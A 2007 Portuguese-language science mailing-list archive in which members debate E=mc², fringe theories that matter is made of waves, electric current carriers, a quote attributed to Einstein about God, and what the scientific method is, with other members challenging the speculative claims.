Na segunda, ele aciona levemente o breque em momentos oportunos para ir adquirindo a velocidade do próprio globo e, com isso vai subindo(sem ligar a máquina) até ficar no plano equatorial do globo, quando então aos freios são aplicados ao máximo; lá fica ele girando ao sabor da força centrípeta dentro do globo com a cabeça dirigida para o centro (ele e máquina ficam grudados pela centrifugação tal qual uma roupa da máquina de lavar). A terceira parte começa como a primeira: o globo gira e ele fica parado em baixo; depois liga a máquina e começa seu movimento próprio em relação ao globo (é como se o movimento do globo não existisse); faz isso contra e a favor ao movimento do globo para mostrar que o globo em si nada tem a ver com a história. Claro que sua velocidade própria, com o globo girando é menor que com o globo parado pois uma parcela da resultante centrípeta serve para minimizar seu peso próprio quando gira na região do equador do globo.
Assim, o motoqueiro consegue fazer o que o JR pergunta sem qqer problema.

aquele abraço,

Léo
==============================





SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 10:11

Prezado Victor,

Fico satisfeito quando encontro ao menos uma
linha de pensamento em que posso dialogar e
arguir sem usar de analogias.

Ao contrário, fico indignado quando leio
frases do tipo "Daqui a uns cem anos essa
molecada chega na questão da dualidade onda-
partícula.", em plena época dos jogos
eletrônicos, tais quais o Next Generation, em
que uma realidade física é apenas isto: uma
entre várias possíveis.

Relevo isto quando penso o quanto somos
acomodados em conceber apenas um conjunto de
possibilidades para explicar os fenômenos
físicos, enquanto podem haver várias, todas
concorrentes entre si, exibindo resultados
equivalentes e possibilitando-nos entender um
Cosmos que é muito mais amplo e complexo do
que nossa vã filosofia.

Mudando de assunto, esta é a primeira vez que
leio um comentário a respeito da Teoria da
Velocidade Absoluta. Na Teoria Ondulatória da
Matéria, a velocidade da luz (c) tb é
considerada a única velocidade existente.
Todas as demais são consideradas resultantes
de c.

A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Grato,

Eduardo Sardeiro



----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 7:04 AM
Subject: Re: [ciencialist] Re: E=m.c2


JC,

"Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)"

O que irei adiantar, não corresponde ao que penso. Achei bastante interessante,
por isso me animei a ler com atenção, a Teoria da Velocidade Absoluta, do Professor
de telecomunicação Jaroslav Smit, autor de obras na área, como Ondas e Antenas, Rádio e Propagação e Linhas de Comunicação, tudo da Èrica. Não sei se se trata de engenheiro eletrônico que é físico, ou se é um físico que é engenheiro eletrônico.
Numa pesquisa sobra antenas, encontrei, no Ondas e Antenas(e isso já faz um bom tempo) noções de relatividade restrita, em vista do enfoque que dá à Teoria do Eletromagnetismo. E também uma introdução à sua Teoria da Velocidade Absoluta. Não uma velocidade qualquer, mas a das OEM, c, como era para ser. Em suas palavras, página 251:

" A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em trajetória fechada.

Se esta matéria, onde não se percebe c externamente, for movida com velocidade v, poderemos compor um triângulo de velocidades, incluindo c. Mas ao compormos este triângulo de velocidades nota-se que a resultante, isto é, a maior velocidade, ou hipotenua do triângulo, será forçosamente c. Assim, as outras velocidades menores que c serão meros componentes de c. Concluí-se, diz ele, que no mundo material não há velocidade independente de c, já que no mundo material todas as velocidades são de matéria ou energia.Podemos ilustrar com o modelo a seguir, estas várias velolcidades."
E seguem, três figuras:
a) Onda pura, representada por seta, para indicar a velocidade c;
b) Um círculo, para indicar a matéria em repouso, onde c é indicada por uma seta apontando o sentido do movimento circular; e
c) algo como uma espiral, para indicar a matéria anima de velocidade v, que aparece como um cateto do triângulo no qual a hipotenusa é c.

As seções seguintes exibem um estudo de triângulos onde tais idéias são implementadas, matemática e geométricamente, em forma de catetos, com a hipotenusa, que ele chama de lado da onda. Amarrando, sempre, c aos catetos, constroi uma estrutura de onde retira os principais resultados da TRR. É um pouco diferente dos estudos homólogos feitos por autores consagrados, que usam triângulos como artifício de memorização de fórmulas. Seu enfoque centra-se na tese acima, o que diferencia os desenvolvimentos. Assim, encontram-se os seguintes triângulos: de velocidades, das massas, da Energia, dos Momento, por aí em diante. Extrai, dessa forma, os resultados conhecidos, usando os postulados da relatividade.

Tudo usando a idéia básica : A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em trajetória fechada.

Não sei se o Professor Smit ainda está por aquí. Encontrei na internet que foi um dos fundadores do Mackenzie. Mas não encontrei mais nada a respeito de sua teoria, ou a importância que lhe foi atribuída. Ao menos tem um embasamento matemático consistente, embora a tese física seja questionável. Mesmo assim, ainda hoje, vez ou outra seja mencionada, em outra forma, como o fez o Sardeiro.

Contudo, prefiro ater-me ao que sei que funciona, que nunca virou a cara ou fez muxôxo para a experimentação. Uma vida só é pouco para se extrair todas as incidências da TR nossa de cada dia. Mas é interessante ler sobre as tentativas, em busca de outras alternativas. Que são só tentativas, ao fim e ao cabo.

Sobre E = m c^2, existe realmente um entendimento inadequado de qual o papel de E e m, na equação. Mas deixa prá lá. Já se falou muito a respeito, embora sem explicitar as essencialidades.

Sds,
Victor.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:27 AM
Subject: [ciencialist] Re: E=m.c2

Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a respeito desta
> célebre equação E=m.c2 e não ter sido bem entendido, volto
> a insistir em que ela é a maior evidência de que *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita? O que a
> torna instável, a ponto de ser liberada em uma explosão nuclear
> e o que a torna estável a ponto de conservar o número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas para estes
> fenômenos que não necessitam que a matéria seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a suspeita de que
> matéria são ondas estacionárias (ver Wave Structure of Matter),
> tendo o elétron como onda básica, capaz de gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se for validado,
> teremos um trunfo na mão. Se não for, continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao caso ainda.
> Entretanto o maior ponto de discordia da Teoria Ondulatória
> da Matéria é onde tais ondas refletem para se tornarem
> estacionarias. Sim: já que partículas são ondas estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de matéria
> propagam-se e refletem-se nas 'bordas' do Ether, explicando
> assim o porquê ocorrem interações mesmo entre objetos
> astronomicamente distantes e o porquê nunca temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether preenche
> todo o Universo observável e que ele é extremamente grande.
> Levaria muito, muito, muito tempo para que houvesse a
> reflexão de uma onda estacionária tão minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo desde o
> inicio do Universo, é initerrupta e constante, logo não haveria
> necessidade de uma onda ir e vir para fazer ocorrer uma
> partícula... A onda sempre estaria ali, assim como o eletron de
> um fio carregado sempre esteve ali: ele não se propagou da
> Austrália para o Brasil, e sim a 'força eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me deixaram
> satisfeito. Existe a necessidade de uma explicação razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não refletem
> -se uma na outra. Elas podem colidir, ampliando, diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum exemplo na
> natureza em que isso ocorra: não há reflexão entre ondas de
> intensidades nem de frequências diferentes. Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de ondas eletro-
> magnéticas com frequências tão infinitamente pequenas e
> contendo energias tão avalasadoras que sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
> atemporais que aprisionariam as ondas de matérias,
> transformando-as no que chamamos de partículas. Isto
> evidenciaria o tempo uma entidade discreta e não contínua. As
> ondas estariam aprisionadas de tal forma que somente em
> colisões com outras partículas, sob determinados aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras condições,
> as partículas poderiam ser absorvidas e por aí vai...
>
> Estes comentários são só esboços de um trabalho maior que
> tentam apenas demonstrar a grande evidência apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>

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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 10:13

JR, na bateria do automóvel não tem um único elétron participando da corrente elétrica; é uma corrente iônica! Aprobo, vc sabe o que vem a ser f.e.m.? E não coloque tal pergunta como 'termos de humilhação' como vc já se referiu a meus textos, coloque-a como conceito importante a saber, ao discutir sobre temas do ramo da física chamado de 'eletricidade'.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 7 de maio de 2007 01:16
Assunto: [ciencialist] Re: E=m.c2


--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Takata!
>
> Takata >>> Vc pode conduzir energia elétrica na
> *ausência* de elétrons - em um aglomerado de prótons,
> por exemplo.
>
> --- Estranho! Eletricidade não é fluxo eletronico?
> Como pode um fluxo de protons ser um fluxo eletronico?

Você nunca ouviu falar de semicondutores e "corrente de buracos" pelo
jeito. :)))

Abraços,
JC





SUBJECT: Espanta pássaros ... era (A idéia que Einstein fazia de Deus)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 10:23

De: "José Carlos Antonio" Assunto: [ciencialist] Re: A idéia que Einstein fazia de Deus


> Eu vendo duendes. Algum interessado?

Estou, e explico.
Minha horta A consta de 10 canteiro de (1,0 x 10) m cada (obviamente com contorno de alvenaria) e as 'mudinhas' estão sofrendo com o ataque dos pardais e companheiros. Não ligo muito que os pássaros perambulem pela horta depois de formada e até gosto de vê-los à vontade em meu quintal. Mas, na fase de 'mudinhas' o ataque não é bem visto. Que faço? Até então tenho usado de garrafas giratórias pelo próprio vento (e aqui venta bastante!) com aletas revestidas de papel alumínio. Enquanto giram os reflexos percorrem os '4 cantos da horta' e isso funcionou por algum tempo --- mas, penso eu, os pássaros se condicionaram e tais reflexos não está dando os resultados obtidos no princípio (no princípio ele era o verbo, agora é uma mera partícula apassivadora!). Se interessar publico a foto dessas garrafas.
Quem sabe esses duendes não consigam algum resultado mais ao meu favor! A Xuxa tb não vende duendes? Quais as propriedades cabalísticas dos seus? São especializados em algum tipo de pássaro? Podem ser re-formatados?

aquele abraço,



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 10:37

Olá Takata!

Takata >>> Não são apenas elétrons q possuem cargas
elétricas. Os elétrons possuem um tipo de carga
elétrica - a negativa (de valor unitário). Os prótons
possuem outro tipo de carga elétrica - a positiva (tb
de valor unitário).

--- Ok. Lido e compreendido. Muito interessante. E faz
sentido, posto que todo conhecimento da realidade é
dual.

Takata >>> Não é apenas o q eu defendo. É o q
significa o E = m.c2. Pegue uma porção de matéria com
massa "xis", sem qq tipo de pulsação. Ainda assim ela
tem energia associada, no valor de E = xis.c2

--- Takata, já disse que concordo com vc nisto. A
divergencia aqui é apenas na forma como vc raciocina
"massa". Divergimos nisto. Por raciocinar a massa numa
visão particular (particula, porção), vc perde de
vista seu pulsar universal.

Takata >>> O q é ou não matéria, como a matéria se
comporta ou não, independe do q *vc* ache q seja ou
não matéria.

--- Concordo também. Mas não estamos aqui debatendo
sobre a realidade, mas sim sobre o conhecimento humano
da realidade. Sendo assim, estamos sim debatendo sobre
os nossos "achismos". Concordamos e divergimos em
alguns deles. As vezes vc acha uma coisa e eu acho
outra. Estamos debatendo pra analizar e ver qual dos
mapas representa melhor o território.

Takata >>> Na verdade tb independe do q eu ou os
cientistas achem. O q os cientistas fazem é achar de
acordo com os reais comportamentos da matéria.

--- Tá vendo! Os cientistas supoem a matéria ao
estudar seu comportamento. Estou fazendo a mesma
coisa, só estou supondo uma forma de raciocinar a
máteria diferente da forma de raciocina-la que propoe
a fisica. Proponho um raciocinio em que a matéria é
indivisivel e pulsa com o tempo.

Takata >>> O processo científico é assim contrário ao
seu.

--- Não mesmo! Observo o comportamento da matéria,
raciocinio e suponho uma visão lógica dos fatores que
não pode ser observado no comportamento observado.

Takata >>> Pra vc, primeiro vc define arbitrariamente
as coisas e aí tenta fazer com q a natureza se encaixe
e se comporte de acordo com os seus conceitos.

--- Não. Parto da observação do comportamento assim
como qualquer cientista. Sem analise, dados, não teria
o que raciocinar (equacionar).

Takata >>> Em ciências, mm q se parte de conceitos
preestabelecidos, tais conceitos são refeitos à luz
dos experimentos - a natureza é soberana nesse
aspecto.

--- Isto ai é uma coisa que não faço: "partir de de
conceitos preestabelecidos". Parto da observação do
sempre (do óbvio). Sempre. E por isto, as vezes meu
discurso entra em conflito justamente com os conceitos
preestabelecidos. E não porque são de natureza
distintas, mas, com mais frequencia, raciocinados com
semanticas distintas.

Takata >>> Só uma amostra de como a sua conceituação
de matéria é problemática.

--- Takata, toda vez que exemplifica, ilustra, vc está
tornando o nosso dialogo mais claro e produtivo.
Sempre que puder, faça isto.

Takata >>> Um carro é material. Um carro pode ser
dividido em várias partes.

--- Entendo. E vc percebe que dividir o carro é
colocar espaço vazio entre as partes (espaços cheios)?
Quando não há espaço vazio entre as partes espaços
cheios) não há divisão, concorda? Mas o que é vazio e
o que é cheio? Nesta pergunta está o xis da questão, e
a solicionática da problemática. Vou deixar a pergunta
em aberto porque creio que vc sabe a resposta assim
como eu. Se no próximo email vc mesmo não esclarecer
isto, eu respondo e esclareço.

Takata >>> Para substância indivisível já existe um
nome: "átomo primordial".

--- Se for uma particula, uma porção de massa, um
espaço cheio rodeado de espaço vazio, não se trata do
mesmo que estou me referindo. Quando me refiro ao uma
substância indivisível estou me referindo aquilo que
não é cheio nem vazio, aquilo que apenas é.

Takata >>> A fórmula tto independe de pulsações q nem
sequer há o fator pulsação na fórmula - apenas massa e
uma constante.

--- E se a pulsação for constante? A luz não poder ser
compreendida como uma onda? Este comportamento da luz
não é constante (sempre)?

Takata >>> Se quiser mudar a fórmula vá em frente.

--- Não quero muda-la, abri esta thread pela segunda
vez, orque estou usando-a como base de estudo para
relação entre matéria e energia. Por enquanto, suponho
que a formula não precisa ser mudada, mas a
compreenção da formula sim.

Takata >>> Apenas ondas mecânicas necessitam de meio
material para se propagar.

--- Por favor, vc poderia me dar exemplos de ondas que
não nessecitam de meio material para se propagarem. E
também poderia me dizer por que tipo de meios elas se
propagam?

Takata >>> Vc está no mínimo uns 100 anos atrasados na
discussão.

--- Takata, não tenho pressa. O que me importa não é
chegar primeiro no que é sempre, mas apenas aproveitar
o que é sempre.



sinceramente
ferrari




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SUBJECT: Material, imaterial e amaterial/Era Re: E=m.c2
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 10:42

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
escreveu
>
> não mostram a genialidade do poeta. Acho que ele está é gozando com
todo mundo!

Era paródia. E foi mal interpretado, como se o Drummond de Andrade não
gostasse ou desprezasse Olavo Bilac:

http://www.portrasdasletras.com.br/pdtl2/sub.php?op=literatura/docs/intertext

Paródia

"A paródia é uma forma de apropriação que, em lugar de endossar o
modelo retomado, rompe com ele, sutil ou abertamente".

Ela acontece no famoso poema de Carlos Drummond de Andrade No Meio do
Caminho, que faz uma paródia do soneto Nel Mezzo del Camin, de Olavo
Bilac que, por sua vez, remete ao primeiro verso da Divina Comédia, de
Dante Alighiere: "Nel mezzo del camin de nostra vita".

Além do título, Drummond imitou o esquema retórico do soneto de Bilac,
ou seja, em vez de parodiar o significado, promoveu um paródia na
forma: empenhou-se na imitação irônica da estrutura, reproduzindo
apenas o quiasmo (repetição invertida) do texto.


No Meio do Caminho

No meio do caminho tinha uma pedra
tinha uma pedra no meio do caminho
tinha uma pedra
no meio do caminho tinha uma pedra.
Nunca me esquecerei desse acontecimento
na vida de minhas retinas tão fatigadas.
Nunca me esquecerei que no meio do caminho
tinha uma pedra
tinha uma pedra no meio do caminho
no meio do caminho tinha uma pedra.

Nel Mezzo del Camin
Olavo Bilac

Cheguei. Chegaste. Vinhas fatigada
E triste, e triste e fatigado eu vinha.
Tinhas a alma de sonhos povoada,
E a alma de sonhos povoada eu tinha...

E paramos de súbito na estrada
Da vida: longos anos, presa à minha
A tua mão, a vista deslumbrada
Tive da luz que teu olhar continha.

Hoje, segues de novo... Na partida
Nem o pranto os teus olhos umedece,
Nem te comove a dor da despedida.

E eu, solitário, volto a face, e tremo,
Vendo o teu vulto que desaparece
Na extrema curva do caminho extremo.





SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 10:45

Caro Murilo,

Apenas atestei um fato, sem anexar juízo moral algum. Einstein é um dos
heróis da minha adolescência. Ainda assim, o fato de descobertas biográficas
recentes terem-no tornado mais humano é para mim um alívio, não um pesar.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Cc: <avalanchedrive@hotmail.com>
Sent: Monday, May 07, 2007 10:20 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


> Com certeza, gritava!
> A Elsa, ou um outro qualquer... deviam encher o saco... what's the deal? O
> homem estava vivo e tinha uma puta energia...
> Com certeza, até o Ghandi gritava... e daí?
> Vc não grita? Ou vc já está meio morto?
> Quem pode enquadrar esse homem, que afinal era judeu?
> O que mais ele tinha? Caspa? Quanta coisa imperdoável, não?
> abr/M.
>
>
>>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: <ciencialist@yahoogrupos.com.br>
>>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>Date: Mon, 7 May 2007 13:31:51 -0300
>>
>>De acordo com Elsa Einstein, quando Albert gritava a casa inteira ouvia...
>>
>>[ ]s
>>
>>Alvaro Augusto
>>
>>
>>----- Original Message -----
>>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>>To: <ciencialist@yahoogrupos.com.br>
>>Sent: Monday, May 07, 2007 10:12 AM
>>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>
>>
>>Vitor:
>>
>>Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era
>>do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
>>Sobre deus, não entro no mérito.
>>
>>bom dia,
>>
>>silvio.
>>3
>> ----- Original Message -----
>> From: J.Victor
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Sunday, May 06, 2007 9:53 PM
>> Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>
>>
>> Olá,
>>
>> Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre
>>grave erro. Quem a
>> pretende deduzir de minhas teorias científicas não as entendeu. Creio
>>num
>> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>> ideologia ateia.
>>
>> Victor: ...Também niguém é perfeito.
>>
>> Sds,
>>
>> Victor.
>>
>> ----- Original Message -----
>> From: Esteban Moreno
>> To: undisclosed-recipients:
>> Sent: Sunday, May 06, 2007 8:45 PM
>> Subject: [ciencialist] A idéia que Einstein fazia de Deus
>>
>> A idéia que Einstein fazia de Deus
>> <http://www.ansiao.net/einstein.jpg>
>>
>> *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
>> pretende deduzir de minhas teorias científicas não as entendeu. Creio
>>num
>> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>> ideologia ateia.
>>
>> Não há oposição entre a ciência e a religião.
>> Apenas há cientistas atrasados, que professam ideias que datam de 1880.
>>
>> Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
>> mecanicista e casualista como irremediavelmente antiquadas.
>>
>> No interior do átomo não reinam a harmonia e a regularidade que esses
>> cientistas costumam pressupor. Nele se depreendem apenas leis
>> prováveis,
>> formuladas na base de estatísticas reformáveis. Ora, essa
>>indeterminação,
>>no
>> plano da matéria, abre lugar à intervenção de uma Causa, que produza o
>> equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias
>>da
>> matéria.
>>
>> Há, porém, várias maneiras de se representar Deus. Alguns o representam
>>como
>> o Deus mecânico, que intervém no mundo para modificar as leis da
>>natureza
>>e
>> o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
>> fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
>>Outros
>> o representam como o Deus jurídico, legislador e agente policial da
>> moralidade, que impõe o medo e estabelece distâncias. Outros, enfim,
>>como
>>o
>> Deus interior, que dirige por dentro todas as coisas e que se revela
>> aos
>> homens no mais íntimo da consciêncía.
>> -
>> A mais bela e profunda emoção que se pode experimentar é a sensação do
>> místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
>> estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
>>pelo
>> encantamento, não passa, em verdade, de um morto.
>>
>> Saber que realmente existe aquilo que é impenetrável a nós, e que se
>> manifesta como a mais alta das sabedorias; a mais radiosa das belezas,
>>que
>> as nossas faculdades embotadas só podem entender em suas formas mais
>> primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
>> verdadeira religiosidade.
>>
>> A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
>> pesquisa científica. Minha religião consiste em humilde admiração do
>> espírito superior e ilimitado que se revela nos menores detalhes que
>>podemos
>> perceber em nossos espíritos frágeis e incertos. Essa convicção,
>> profundamente emocional na presença de um poder racionalmente superior,
>>que
>> se revela* no* incompreensível, é a ideia que faço de Deus».*
>>
>> [As partes desta mensagem que não continham texto foram removidas]
>>
>> [As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 10:50

Caro Ferrari,

O seu jogo de palavras e tentativa de confusão semântica fariam sucesso no
Forum Social Mundial, onde a dialética vale mais do que os fatos. Mas não
aqui. A sua tentativa de escapar do fato de não ter mencionado a "queda da
Lua", por exemplo, é simplesmente patética. Apesar do seu contorcionismo,
vamos voltar a ela: por que o fato de que a Lua cai é óbvio?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 08, 2007 9:34 AM
Subject: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método
cientifico e o tempo)


> Olá Alvaro!
>
> Alvaro >>> "Lei do sempre"? Que tristeza reduzir o
> problema da indução de Hume a uma verdade empacotada!
>
> --- Alvaro, respeito sua tristeza e sua interpretação,
> mas não compartilho delas. Não acho que uma
> compreensão, para ser verdadeira, tenha que ser
> complexa. Acho justamente o contrário. Acho que deve
> ser simples e analogica. E não escrevi o artigo
> baseado no Hume, meu raciocinio e o dele são analogos
> porque observamos a mesma verdade. O mesmo óbvio de
> sempre.
>
> Alvaro >>> O grande filósofo, assim como tantos depois
> dele, concluiu que nada, absolutamente nada, pode nos
> garantir que um fenômeno que aconteceu milhões de
> vezes irá acontecer novamente.
>
> --- "Tudo agora mesmo pode estar por um segundo",
> canta Gilberto Gil. A chave da questão aqui está na
> palavra "garantir", concorda? O que é garantia? E qual
> é sua ligação com o tempo?
>
> Alvaro >>> É apenas nossa psicologia que nos induz a
> esse raciocínio, pois buscamos desesperadamente por
> ordem no universo.
>
> --- Algumas das questões aqui são:
>
> a) e o raciocinio tem outra opção?
> b) o que é ordem?
> c) se é o raciocinio que organiza o universo, quem
> organiza o raciocinio.
>
> Alvaro >>> Também é desagradável ver que você reduziu
> uma das descobertas de Newton a uma trivialidade.
>
> --- Alvaro, usei a histórinha da maça como base para o
> leitor visualizar o que é fazer ciencia. Meu objetivo
> com o artigo não é falar sobre a teoria da gravidade,
> mas sim sobre a relação entre o raciocinio e o método
> cientifico.
>
> Alvaro >>> Sim, muitos antes de Newton haviam
> percebido que maçãs caem, que laranjas caem, que
> meteoros caem. Mas Newton foi o primeiro a perceber
> que a Lua (que você não cita no seu texto) também cai.
> E isso não é trivial. Nem óbvio.
>
> --- Como disse acima, o artigo não trata da teoria da
> gravidade, mas como coloquei no assunto "O Que é Fazer
> Ciencia? ::: (artigo sobre o método cientifico e o
> tempo)". Sobre o fato da lua cair não ser óbvio, é
> porque isto é um adedução. E o óbvio é o observavel, e
> não o deduzido. As discordancias cientificas se dão no
> ambito das deduções e não das observações. Assim, uma
> dedução cientifica pode ser óbvia só pra voce e pra
> mais ninguém, e ainda assim se mantér como um "dedução
> cientifica" (hipótese). Mas se uma "observação
> cientifica" for óbvia só pra voce, ai nem cientifica
> ela será considerada, não é mesmo? Sendo assim, o
> óbvio no qual o texto trata é o óbvio cientifico
> (observavel). Ou seja, é o fenomeno que é sempre óbvio
> e sempre observavel por todos os observadores
> (humanos).
>
> Resumindo: o óbvio (cientifico) é o sempre
> (cientifico). Teorias sobre o óbvio mudam porque não
> são o óbvio, são teorias sobre o óbvio. O óbvio não
> muda porque é sempre. Se não fosse sempre, não seria
> óbvio. Isto não lhe parece óbvio?
>
>
>
>
> sinceramente
> ferrari
>
>
>
>
>
>
>> ----- Original Message -----
>> From: "Ferrari" <emailferrari@yahoo.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Monday, May 07, 2007 8:18 AM
>> Subject: [ciencialist] O Que é Fazer Ciencia? :::
>> (artigo sobre o método
>> cientifico e o tempo)
>>
>>
>> >O QUE É FAZER CIÊNCIA? - por Ferrari
>> > http://leisdosempre.blogspot.com
>> >
>> > (sobre o método cientifico e o tempo)
>> >
>> > Conta a história, que Issac Newton estava
>> dormindo,
>> > quando uma maça caiu sobre sua cabeça. Ele poderia
>> ter
>> > ignorado o incomodo e continuado seu cochilo. Mas
>> não:
>> > eureka! Newton acordou da ignorancia e viu a lei
>> da
>> > gravidade! Se esta história é real ou imaginária,
>> não
>> > importa, ela é perfeita para ilustrar o que
>> significa
>> > "fazer ciência".
>> >
>> >>>> Fazer ciência é ver o óbvio.
>> >
>> > Fazer ciência é fazer o que Issac Newton fez: ver
>> o
>> > óbvio. Maças caem. Laranjas caem. Xícaras caem.
>> > Meteoros caem. Todas os corpos caem. É óbvio. Não
>> há
>> > nenhuma novidade neste comportamento da natureza.
>> > Estamos cansados de ver coisas caindo, repetidas
>> > vezes, todos os dias, sempre. O que tem de genial
>> em
>> > ver o óbvio?
>> >
>> >>>> Óbvio é sempre. (padrão repetitivo).
>> >
>> > O genial na visão de Newton não foi ver a maça
>> caindo,
>> > isto ele já estava cansado de ver. O genial na
>> visão
>> > de Newton foi ver que este comportamento (a queda
>> da
>> > maça) era um padrão sempre.
>> >
>> >>>> Fazer ciência é ver o sempre (repetição
>> eterna).
>> >
>> > Newton não viu a maça caindo, ele viu um fenomeno
>> que
>> > se repetia sempre da mesma maneira: a queda.
>> Depois
>> > viu uma inteligencia natural (lei do sempre)
>> > responsável por fazer aquele fenomeno se repetir
>> > sempre da mesma maneira. Porém, para Newton ver
>> esta
>> > inteligencia natural (lei do sempre), Newton não
>> usou
>> > os mesmos olhos que ele usava para ver as coisas
>> > (fisicas).
>> >
>> >>>> Fazer ciência é ver as leis do sempre com os
>> olhos
>> > da lógica.
>> >
>> > Maças caem sempre. Laranjas caem sempre. Xícaras
>> caem
>> > sempre. Meteoros caem sempre. Todas os corpos caem
>> > sempre. SE tudo na natureza sempre cai, LOGO, cair
>> é
>> > uma lei eterna na natureza. SE repete Sempre,
>> LOGO,
>> > segue Sempre a mesma regra.
>> >
>> >>>> Fazer ciência é imaginar as leis do sempre.
>> >
>> > Newton não criou o comportamento repetitivo da
>> > natureza (a queda), mas ele foi o primeiro a
>> imaginar
>> > um raciocínio (teoria) que explica este
>> comportamento.
>> > Esta raciocínio (teoria) que ele imaginou é
>> > popularmente conhecida como "lei da gravidade".
>> >
>> >>>> Conhecimento cientifico é um livro de
>> raciocínios
>> > (teorias) sobre o sempre.
>> >
>> > Ao raciocinar o fenomeno da queda e imaginar a lei
>> da
>> > gravidade, Newton contribuiu para mais uma página
>> > deste livro de suposições sobre o sempre que
>> chamamos
>> > de conhecimento cientifico.
>> >
>> >>>> Conhecimento cientifico é uma tentativa de
>> prever
>> > o futuro.
>> >
>> > Se as leis naturais que irão reger o momento
>> futuro
>> > são exatamente as mesmas leis que estavam regendo
>> o
>> > passado --- ou seja, se são mesmo leis eternas ---
>> e
>> > se a forma como raciocinamos estas leis são
>> > equivalentes a realidade --- então, uma teoria
>> > cientifica (regra cientifica) dá ao cérebro o
>> > conhecimento desta lei e, consequentemente, a
>> > capacidade de pré-visão do futuro através da
>> simulação
>> > mental.
>> >
